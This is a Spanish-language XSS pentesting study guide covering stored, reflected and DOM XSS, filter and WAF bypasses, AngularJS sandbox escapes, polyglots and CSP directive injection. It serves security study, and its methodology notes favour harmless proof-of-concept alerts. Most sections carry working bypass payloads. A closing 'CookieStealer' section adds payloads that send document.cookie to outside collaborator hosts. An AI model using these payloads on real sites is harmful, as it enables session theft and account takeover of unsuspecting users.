Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) es una vulnerabilidad que permite a un atacante inyectar código JavaScript arbitrario en el contexto del navegador de otro usuario, aprovechando que la aplicación incluye datos no confiables en sus respuestas HTML sin la sanitización/codificación adecuada. Existen tres categorías principales, según dónde y cómo se procesa el dato inyectado: Stored, Reflected y DOM-based.
Nota: escáneres automatizados como el "Deep Active Scan" de Burp Suite Pro son capaces de detectar por sí solos casos simples de Reflected XSS y DOM XSS básico (sinks/sources comunes) sin intervención manual — conviene correr un escaneo automatizado como primer paso antes de invertir tiempo en pruebas manuales exhaustivas, y reservar el análisis manual para los casos con sanitización parcial/compleja que el escáner no detecta.
Stored XSS
Surge cuando una aplicación recibe datos de una fuente no confiable y los almacena, para luego incluirlos en respuestas HTTP posteriores (a otros usuarios) de forma insegura. Es el tipo más peligroso porque no requiere que la víctima haga clic en un enlace especial — basta con que visite una página que ya contiene el payload almacenado.
Ejemplo: un formulario de comentarios que guarda el texto tal cual:
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 100
postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.netCualquier usuario que visite la entrada del blog recibirá lo siguiente dentro de la respuesta:
<p>This post was extremely helpful.</p>Si la aplicación no procesa/sanitiza el dato, un atacante puede enviar un comentario malicioso:
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3EY la respuesta que reciben los demás visitantes queda así:
<p><script>/* Bad stuff here... */</script></p>El script se ejecuta en el navegador de cada usuario que visite la página, en el contexto de su propia sesión con la aplicación.
Payloads de detección (proof-of-concept, no explotación)
Estos payloads solo sirven para confirmar que el punto es vulnerable (disparan un alert/prompt visible), no para atacar a un usuario real:
<script>alert(window.origin)</script>
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>alert(document.domain)es preferible aalert(1)en engagements reales, porque confirma en qué dominio exacto se ejecutó el script — relevante si hay iframes o subdominios de por medio.
Referencia: https://portswigger.net/web-security/cross-site-scripting/stored
Reflected XSS
Surge cuando la aplicación recibe datos en una petición HTTP (típicamente un parámetro de la URL) y los incluye en la respuesta inmediata sin sanitizar. A diferencia del Stored, aquí sí se necesita que la víctima abra un enlace específico creado por el atacante (por ejemplo, vía phishing).
https://insecure-website.com/search?term=gift<p>You searched for: gift</p>Si no hay sanitización, se puede construir:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script><p>You searched for: <script>/* Bad stuff here... */</script></p>Referencia: https://portswigger.net/web-security/cross-site-scripting/reflected
DOM-based XSS
Se procesa completamente en el lado del cliente, vía JavaScript, sin que el servidor llegue a ver el payload en muchos casos (por eso a veces no aparece ni en los logs del servidor). Ocurre cuando el código JavaScript de la propia página toma un dato controlable por el atacante (source) y lo escribe de forma insegura en el DOM (sink).
document.write('... <script>alert(document.domain)</script> ...');Sources y sinks comunes
| Source (origen del dato) | Sink (dónde se usa de forma insegura) | Riesgo |
|---|---|---|
location.search / location.hash | document.write() | El contenido de la URL se escribe directamente como HTML. |
location.search | element.innerHTML | Igual que arriba, pero vía manipulación del DOM en vez de document.write. |
location.search | atributo href (vía jQuery u otro helper) | Permite inyectar un esquema javascript: en un enlace. |
location.hash | selector de jQuery en un evento hashchange | El valor del hash se usa para construir un selector CSS/DOM sin escapar. |
document.referrer | cualquier sink de los anteriores | Menos común, pero explotable si un atacante controla la página de origen del referer. |
Ejemplos de cada patrón (para identificarlos al leer código fuente/JS de la aplicación):
// document.write con location.search
var query = (new URLSearchParams(window.location.search)).get('search');
document.write('<img src="/resources/images/tracker.gif?searchTerms=' + query + '">');
// Payload de prueba: "><script>alert(1)</script>
// innerHTML con location.search
var query2 = (new URLSearchParams(window.location.search)).get('search');
document.getElementById('searchMessage').innerHTML = query2;
// Payload de prueba: <img src=x onerror=alert(1)>
// atributo href con location.search (vía jQuery)
$('#backLink').attr('href', (new URLSearchParams(window.location.search)).get('returnPath'));
// Payload de prueba: ?returnPath=javascript:alert(document.domain)
// selector jQuery con hashchange
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
});
// Payload de prueba: #<img src=1 onerror=alert(1)>
// document.write dentro de un elemento <select> (el contexto del sink cambia el payload necesario)
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">' + store + '</select>');
// Aquí no basta con un tag simple porque el navegador, dentro de un <select>, ignora
// elementos que no sean <option>. Hay que cerrar el <select> antes de inyectar el payload:
// Payload de prueba: "></select><img src=1 onerror=alert(1)>AngularJS (versiones antiguas, <1.8) — sandbox del framework
Las plantillas de AngularJS interpretan expresiones dentro de ; en versiones antiguas, esto podía abusarse para ejecutar JavaScript arbitrario si el atacante controlaba el contenido de la plantilla:
{{constructor.constructor('alert(1)')()}}- Esta técnica se conoce como "sandbox escape", ya que AngularJS intentaba (sin éxito, en versiones viejas) restringir qué expresiones podían ejecutarse dentro de
. - Para confirmar que el framework en uso es AngularJS, conviene primero revisar el código fuente/recursos cargados por la página en busca de referencias a
angular.jsong-app, antes de probar el payload.
Cuando el payload básico anterior es bloqueado por un filtro de caracteres (por ejemplo, si se bloquean paréntesis o comillas), existen variantes alternativas de sandbox escape que evitan esos caracteres:
// Variante sin paréntesis directos, usando toString/charAt/fromCharCode
?search=1&toString().constructor.prototype.charAt=[].join;[1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)<!-- Variante para AngularJS con CSP activo, usando ng-focus con composedPath() -->
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>- Esta última variante es particularmente útil cuando hay un CSP estricto que bloquea
eval/Functiondirectamente, ya que abusa de la sintaxis de filtros de AngularJS (orderBy) en vez de invocar una función arbitraria de forma explícita. - El sitio oficial del cheat sheet de PortSwigger mantiene una lista actualizada de variantes de este tipo, ya que AngularJS ha ido parchando cada una progresivamente en versiones sucesivas.
DOM XSS a través de eval() sobre una respuesta JSON
Un patrón particularmente peligroso ocurre cuando el JavaScript del cliente recibe una respuesta del servidor (por ejemplo, resultados de búsqueda en JSON) y la procesa con eval() en vez de JSON.parse():
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
}Si el servidor refleja el término de búsqueda dentro de ese JSON sin escapar comillas correctamente (por ejemplo {"searchTerm": "valor_del_usuario", "results": []}), y el valor del usuario contiene algo como:
\"-alert(1)}//la cadena que eval() termina ejecutando queda así:
var searchResultsObj = {"searchTerm":"\"-alert(1)}//","results":[]}- La secuencia
\"cierra prematuramente el string JSON dentro deleval,-alert(1)se ejecuta como una expresión, y}//comenta el resto para evitar errores de sintaxis. - El uso de
eval()para parsear datos que deberían tratarse como texto plano (en vez deJSON.parse(), que no ejecuta código) es en sí mismo el hallazgo raíz de esta clase de vulnerabilidad — vale la pena señalarlo en el reporte como causa, no solo el payload que la dispara.
Testing de campos con codificación/escape parcial
Es común encontrar puntos donde la aplicación sanitiza parcialmente la entrada (por ejemplo, codifica < y > pero no comillas, o viceversa). Vale la pena adaptar el payload de prueba al contexto exacto donde se refleja el dato:
Dentro de un atributo HTML con comillas dobles: cerrar el atributo e inyectar un evento.
html" onmouseover="alert(1)Dentro de un string de JavaScript (entre comillas simples): cerrar el string e inyectar código.
javascript'-alert(1)-' ';alert(1)//Dentro de un template literal de JavaScript (entre backticks):
javascript${alert(1)}Cuando la función de sanitización solo reemplaza la primera ocurrencia de
</>(patrón común en implementaciones ingenuas de unreplace()sin flag global, por ejemplohtml.replace('<', '<').replace('>', '>')):html<><img src=1 onerror=alert(1)>El primer
<>"consume" el reemplazo, dejando pasar el segundo tag sin sanitizar.Cuando se escapa
<script>pero el contexto permite cerrar y reabrir la etiqueta: si el filtro bloquea la palabra<script>alert()</script>completa pero no valida cada parte por separado, se puede cerrar cualquier etiqueta contenedora previa (por ejemplo un</script>de cierre "huérfano" que el navegador igual interpreta) y abrir una nueva:html</script><script>alert(1)</script>Cuando comillas simples y backslash están escapados, pero la doble escapada abre una grieta: si la aplicación escapa una comilla simple (
'→\') pero no re-escapa el propio backslash cuando el usuario ya incluye uno, insertar\justo antes de la comilla hace que el backslash de la app se "gaste" escapando el backslash del atacante, dejando la comilla simple libre para cerrar el string:javascripttest\'-alert(0);//Esto puede terminar generando código como
var searchTerms = 'test\\'-alert(0);//';, donde\\es un backslash literal ya balanceado, y la comilla que sigue sí cierra el string.Cuando
<,>,"y'están codificados como entidades HTML, pero el contexto es un atributohref: las entidades HTML (',", etc.) se decodifican por el navegador antes de interpretarse como parte del atributo, así que insertar'dentro de una URL puede terminar comportándose como una comilla simple real una vez decodificada, cerrando el contexto:htmlhttp://example.com'-alert(0)+'//
Evasión de filtros / WAF
Cuando payloads básicos como <script> o <img onerror> son bloqueados por un filtro o WAF, conviene identificar metódicamente qué tags/eventos concretos están permitidos, en vez de adivinar:
- Enviar un payload simple y confirmar que es bloqueado.
- Usar una herramienta de fuzzing (por ejemplo, Burp Intruder) con la posición de inyección en el nombre del tag: enviar algo como
<§§>y probar la lista completa de tags del cheat sheet de PortSwigger (que ofrece un botón para copiar la lista directamente) como payloads. Revisar el código/tamaño de respuesta de cada intento — normalmente los tags bloqueados devuelven un código de error (por ejemplo400) mientras que el tag permitido devuelve200. - Repetir el mismo proceso, ahora con el tag que sí pasó el filtro y fuzzeando los atributos/eventos:
<tag %20§§=1>, probando la lista de eventos del mismo cheat sheet. - Combinar el tag y el evento que sobrevivieron al filtro para construir un payload funcional. Una extensión de Burp como "XSS Validator" (o simplemente revisar manualmente en un navegador) ayuda a confirmar cuál de los eventos permitidos realmente dispara ejecución de JavaScript.
Tags/técnicas menos comunes que a veces evaden filtros basados en listas negras de tags "típicos" (script, img, svg):
<body onresize=alert(1)>
<xss autofocus tabindex=1 onfocusin=alert(1)></xss>
<svg><animatetransform onbegin=alert(1) attributeName=x dur=1s>- Los tags/atributos personalizados o poco comunes (
<xss>,<custom-tag>) funcionan porque el navegador ejecuta cualquier atributo de evento válido (onfocusin,onmouseover, etc.) independientemente de si el nombre del tag es un elemento HTML "real" — muchos filtros basados en listas negras no contemplan esto.
Entrega sin interacción del usuario (eventos que se disparan solos)
Algunos eventos requieren que la víctima haga algo (mover el mouse, hacer clic), lo cual no siempre es viable en un ataque real. Existen combinaciones de atributos que disparan el evento automáticamente al cargar la página:
<xss id=x tabindex=1 onfocus=alert(1) autofocus>autofocus+ un manejadoronfocus/onfocusinhace que el evento se dispare apenas el elemento se renderiza, sin ninguna acción del usuario — el atributotabindexa veces es necesario para que el elemento sea "enfocable" en primer lugar.- Alternativa sin
autofocus, usando el fragmento de la URL para forzar el foco vía el ancla#:htmlAl cargar una URL que termina en<xss id=x onfocus=alert(1) tabindex=1>#x#x(coincidiendo con eliddel elemento), el navegador desplaza el foco a ese elemento automáticamente. - Para "entregar" un payload como este a una víctima sin que tenga que escribir nada manualmente, basta con que abra un enlace que ya incluya el payload como parte de la URL/parámetro vulnerable — el propio proceso de carga de la página dispara el
autofocus.
SVG como vector cuando otros tags están bloqueados
Cuando el filtro permite algunas etiquetas SVG pero bloquea <script>/<img>, conviene revisar qué elementos SVG específicos de animación soporta el navegador, ya que muchos de ellos disparan eventos propios (onbegin, onend) al iniciar/terminar la animación:
<svg><animatetransform onbegin=alert(1) attributeName=transform>animateTransformes un elemento de animación SVG legítimo; su eventoonbeginse dispara automáticamente al renderizarse, sin depender de interacción del usuario ni de que el navegador ejecute JavaScript "clásico" vía<script>.
Variante alternativa cuando tanto los manejadores de eventos (on*) como los atributos href "normales" están bloqueados: usar el elemento SVG <animate> para modificar dinámicamente el atributo href de un enlace (<a>) hacia un esquema javascript:, evadiendo así los filtros que solo inspeccionan el valor estático inicial del atributo:
<svg><a id=xss><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>CLICK HERE</text></a><animate attributeName=href values=javascript:alert(1) />reescribe el atributohrefdel<a>padre después de que la página cargó, con el valor malicioso — muchos filtros solo validan el HTML tal como llega en la respuesta, sin tener en cuenta que SVG puede modificarlo después dinámicamente.- Este vector sigue requiriendo que la víctima haga clic en el enlace resultante (no es de ejecución automática).
Contextos atípicos: atributo accesskey
En puntos donde el valor reflejado cae dentro de una etiqueta ya existente en el documento (por ejemplo, un <link rel="canonical"> autogenerado con un parámetro reflejado), y donde tags como <script> se codifican automáticamente, se puede intentar inyectar un atributo adicional dentro de esa misma etiqueta:
' accesskey='x' onclick='alert(1)accesskeyasigna un atajo de teclado (Alt+Shift+Xen la mayoría de navegadores,Ctrl+Alt+Xen algunos) que, combinado cononclick, ejecuta el JavaScript sin necesidad de que el elemento sea visible o clickeable normalmente — útil dado que la etiqueta objetivo (como<link>) no es un elemento interactivo por defecto.
Bypass en contexto JavaScript con caracteres específicos bloqueados
Cuando el reflejo cae dentro de un contexto JavaScript (no HTML) y el filtro bloquea caracteres puntuales (por ejemplo, paréntesis o la palabra alert), a veces se puede lograr ejecución reasignando propiedades del objeto global para disparar el código indirectamente en vez de invocarlo de forma explícita:
'},x=x=>{throw/**/onerror=alert,1337},toString=x,window+'',{x:'- Este payload evita escribir
alert(...)de forma literal: en su lugar, sobrescribeonerrorcon la referencia a la funciónalert, y fuerza una excepción (throw) durante la conversión implícita dewindowa string (window+''), lo que dispara el manejadoronerrorrecién asignado. - Es un ejemplo de por qué las listas negras basadas en palabras clave (bloquear literalmente la cadena
"alert(") son insuficientes: JavaScript permite construir la misma ejecución de múltiples formas sintácticas distintas.
Polyglots (un solo payload para múltiples contextos)
Un "polyglot" es un payload diseñado para ser válido/ejecutable en varios contextos distintos a la vez (HTML, atributo, JavaScript, comentario), útil como primer intento rápido cuando no se sabe con certeza en qué contexto exacto se refleja el input:
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->- No suele ser la vía final para una explotación fina (los payloads específicos por contexto, vistos en el resto de este documento, son más confiables), pero es una herramienta útil de triage rápido para confirmar si existe XSS antes de invertir tiempo en afinar el contexto exacto.
HTTP Request Smuggling combinado con XSS
Cuando existe una vulnerabilidad de HTTP Request Smuggling (ver el módulo correspondiente) que permite inyectar contenido en cabeceras que luego son reflejadas sin sanitizar por el servidor "backend", se puede usar esa cabecera como vector de XSS incluso si el punto de entrada normal (parámetros de URL, body) sí está correctamente sanitizado:
User-Agent: "><script>alert(document.domain)</script>- Este es un ejemplo de cómo una vulnerabilidad de infraestructura (smuggling) puede habilitar una clase de vulnerabilidad completamente distinta (XSS) en un punto que normalmente no sería alcanzable ni testeable de forma directa desde un formulario o parámetro visible — vale la pena revisar cabeceras reflejadas como vector adicional cuando ya se confirmó smuggling contra el objetivo.
Referencia completa de tags/eventos: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
Otra referencia de evasión de filtros por contexto de codificación: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html
Referencia adicional de payloads por contexto/framework: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/README.md
CSP (Content Security Policy) — consideraciones
Un CSP bien configurado puede bloquear la ejecución de scripts inline incluso si el payload HTML se inyectó con éxito. Al auditar, conviene:
- Revisar la cabecera
Content-Security-Policyde la respuesta para identificar qué directivas están activas (script-src,script-src-elem,default-src). - Si la política incluye un
report-uricon un parámetro reflejado sin validar, en teoría un atacante podría intentar inyectar directivas CSP adicionales a través de ese parámetro — este es un escenario avanzado y depende completamente de cómo el servidor construye esa cabecera; documentar el hallazgo (parámetro reflejado en una cabecera de seguridad) es en sí mismo reportable, incluso sin desarrollar una cadena de explotación completa. - Un CSP permisivo con
'unsafe-inline'enscript-srcanula gran parte de la protección contra XSS, ya que permite ejecutar cualquier script inline igualmente.
Ejemplo concreto: inyección de directiva CSP vía parámetro token en report-uri
Si la cabecera de respuesta incluye algo como Content-Security-Policy: script-src 'self'; report-uri /csp-report?token=abc123, y el parámetro token proviene de un valor controlable por el usuario sin validar, se puede cerrar la directiva report-uri e inyectar una directiva script-src-elem adicional que sobrescriba la política original:
?search=<script>alert(1)</script>&token=;script-src-elem%20'unsafe-inline'- La directiva
script-src-elempermite dirigirse específicamente a elementos<script>(a diferencia descript-src, que también cubre atributos de evento inline y otros vectores). Al inyectar;script-src-elem 'unsafe-inline'dentro del valor del parámetrotoken, se agrega una directiva CSP adicional que habilita scripts inline solo para elementos<script>, suficiente para que el<script>alert(1)</script>del parámetrosearchsí se ejecute a pesar de la política original. - Este es un ejemplo de cómo una vulnerabilidad "secundaria" (un parámetro reflejado sin sanitizar dentro de una cabecera HTTP de seguridad) puede anular por completo una protección que de otro modo sería efectiva.
Impacto de un XSS confirmado: de un alert() a compromiso de cuenta
Una vez confirmada la ejecución de JavaScript arbitrario, el impacto real depende de las protecciones configuradas en la aplicación. Vale la pena entender (a nivel conceptual, sin necesidad de construir el exploit completo para justificar la severidad) qué habilita cada escenario:
- Robo de sesión (cookie hijacking): solo es posible si la cookie de sesión no tiene el flag
HttpOnlyactivo. Este flag le indica al navegador que deniegue el acceso a esa cookie desde JavaScript (document.cookiesimplemente no la incluye), por lo que es la mitigación estándar contra este vector específico. Revisar los flags de las cookies de sesión (en las DevTools del navegador, pestaña de almacenamiento/cookies) es un paso de reconocimiento clave antes de intentar este vector. - Captura de credenciales: cuando
HttpOnlysí está activo (bloqueando el robo directo de cookie), un XSS todavía puede usarse para inyectar un formulario falso de login superpuesto a la página legítima, capturando lo que la víctima escriba y enviándolo a un servidor bajo control del atacante. Esto no depende de los flags de la cookie porque no roba la sesión existente, sino que engaña al usuario para que reescriba sus credenciales. - Bypass de protecciones CSRF: los tokens CSRF existen para evitar que un sitio externo fuerce una acción en nombre del usuario sin su consentimiento. Un XSS anula esta protección porque el script inyectado corre dentro del origen legítimo de la aplicación (no es un sitio externo) — por lo tanto puede leer el token CSRF de una página legítima (por ejemplo, haciendo una petición a una página que lo contenga y extrayéndolo con una expresión regular) y luego usarlo para completar una acción en nombre de la víctima sin que la protección CSRF lo detecte.
- Dangling markup attacks: cuando un CSP estricto bloquea la ejecución de JavaScript, pero el atacante aún puede inyectar HTML sin cerrar (por ejemplo, abrir una etiqueta
<form>o<img src=que "cuelga" y captura todo el contenido siguiente de la página como si fuera parte de su valor/atributo), se puede filtrar información sensible de la propia página (como un token) sin necesidad de ejecutar ningún script — el navegador hace el trabajo de "capturar" el contenido al intentar resolver el recurso colgante.
Documentar estos escenarios como impacto potencial (con una explicación de la cadena lógica) suele ser suficiente en la mayoría de los reportes; construir la explotación completa contra una cuenta o usuario real solo debe hacerse dentro del alcance autorizado explícitamente por el cliente/programa.
Nota sobre print() como payload de confirmación
Cuando el payload de prueba se entrega dentro de un <iframe> (común al simular la entrega a una víctima), alert()/prompt() pueden no dispararse visualmente o directamente estar bloqueados por el navegador en ese contexto. print() (que abre el diálogo de impresión) es una alternativa que sí funciona de forma fiable dentro de iframes, y es igual de segura/no-destructiva como prueba de concepto:
<body onresize=print()>CookieStealer XSS Payloads
Steal cookies collaborator:
<script>
fetch(`https://burpcollaborator.net`, {method: ‘POST’,mode: ‘no-cors’,body:document.cookie});
</script>Steal Cookies Exploit Server:
<script>
fetch(`https://collaborator.net/x`+document.cookie);
</script>XSS Cookie Stealer payloads using JavaScript
JavaScript:document.location='https://COLLABORATOR.com?c='+document.cookieReflected XSS into HTML context with nothing encoded in search.
<script>document.location='https://COLLABORATOR.com?c='+document.cookie</script>Reflected DOM XSS, into JSON data that is processed by eval().
\"-fetch('https://Collaborator.com?cs='+btoa(document.cookie))}//JavaScript Template literals are enclosed by backtick ( ` ) characters instead of double or single quotes.
${document.location='https://tvsw9dim0doynnpscx9mgtq67xdo1jp8.oastify.com/?cookies='+document.cookie;}- Referencia:
Notas generales de metodología
- Siempre confirmar la vulnerabilidad con un payload de PoC no destructivo (
alert/prompt/console.log) antes de documentar el hallazgo — no es necesario, ni apropiado en la mayoría de los engagements, demostrar exfiltración real de datos de sesión para probar que la vulnerabilidad existe. - Diferenciar claramente en el reporte si el XSS es Stored (persiste y afecta a cualquier visitante), Reflected (requiere que la víctima abra un enlace) o DOM-based (ocurre enteramente en el cliente), ya que el impacto y la remediación difieren en cada caso.
- Cuando el reflejo ocurre dentro de JSON procesado por
eval()u otra función igualmente insegura, tratar el contexto como JavaScript puro (comillas, backticks) en vez de HTML.